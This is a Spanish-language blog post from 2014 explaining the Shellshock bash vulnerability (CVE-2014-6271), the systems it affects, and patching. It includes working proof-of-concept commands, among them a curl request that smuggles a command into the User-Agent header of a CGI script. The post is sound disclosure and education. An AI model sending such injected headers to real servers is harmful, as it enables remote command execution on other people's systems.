jueves, 25 de septiembre de 2014

Grave vulnerabilidad en bash ~#

Se acaba de publicar una vulnerabilidad crítica en bash, el interprete de comandos de Linux y muchos otros sistemas Unix (incluido OSX), que también parece afectar a otros interpretes como zsh, tcsh, csh y ksh. pero no a otros otras shells. Se ha identificado con el registro: CVE-2014-6271.
Mediante esta vulnerabilidad es posible ejecutar comandos debido al incorrecto procesado de las variables de entorno, en determinadas circunstancias, esto puede ser explotable remotamente.
El problema reside en que bash permite la declaración de funciones (como cualquier otro lenguaje interpretado) y no son validadas correctamente cuando son almacenadas en una variable. Con ejemplos seguro que se ve mejor.
Una función se declara de la siguiente forma:
aramosf@digitalsec:~$ cat test.sh
#!/bin/bash
function hola () {
     echo "Hola mundo"
}
hola
aramosf@digitalsec:~$ bash test.sh
Hola mundo

Pero por desgracia bash procesa todo el contenido de la variable y continua ejecutando incluso cuando termina la función:

aramosf@digitalsec:~$ VAR="() { echo 'Hola mundo'; }; echo 'Adios mundo'" bash -c "echo Prueba"
Adios mundo
Prueba

En la prueba anterior, se esperaba que únicamente se mostrase "Prueba", pero acaba procesando el echo de "Adios mundo".
Esto tiene implicaciones en servicios remotos, en especial en páginas web con CGIs que leerán las variables enviadas por el cliente como cabeceras (y que pueden contener comandos) y ejecutarán su contenido cuando se invoque bash. Explotar CGIs escritos en bash será trivial y aunque parezca mentira, existen miles:

Otras implicaciones conocidas hasta ahora, pero que seguro que aumentan estos días, son:
  • Uso en ForceCommand de SSH para limitar capacidades de ejecución de comandos
  • Otros CGI (como php, perl, etc) que lancen subshells con llamadas del tipo system()
  • Clientes DHCP que lancen shells.
  • Herramientas y aplicaciones con SUID que invoquen bash para alguna acción.
  • Sistemas móviles que utilicen bash, como Android
  • Otros sistemas con Linux, como routers (que generalmente lanzan pings, traceroutes, etc), modems, televisores, etc..
La alegría de la huerta. Nos esperan días con muchas noticias sobre nuevos impactos, Eso seguro. 
Para solucionar el problema tan solo hay que esperar a que saquen el parche (y funcione), cosa que ya ha ocurrido en las distribuciones más populares, pero que tardará tiempo en sistemas embebidos o poco mantenidos.

Ejemplo de un código vulnerable y su explotación sacado de un comentario de reddit:

print 'hello world!'[root@host cgi-bin]# rm -fr /tmp/aa
[root@host cgi-bin]# cat /var/www/cgi-bin/hi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "hai"
[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa'  https://localhost/cgi-bin/hi
hai
[root@host cgi-bin]#  tail -n1 /var/log/httpd/ssl_access_log
::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"
[root@host cgi-bin]#  ls -l /tmp/aa
-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa
[root@host cgi-bin]# sestatus
SELinux status:                 enabled
[root@host cgi-bin]# yum update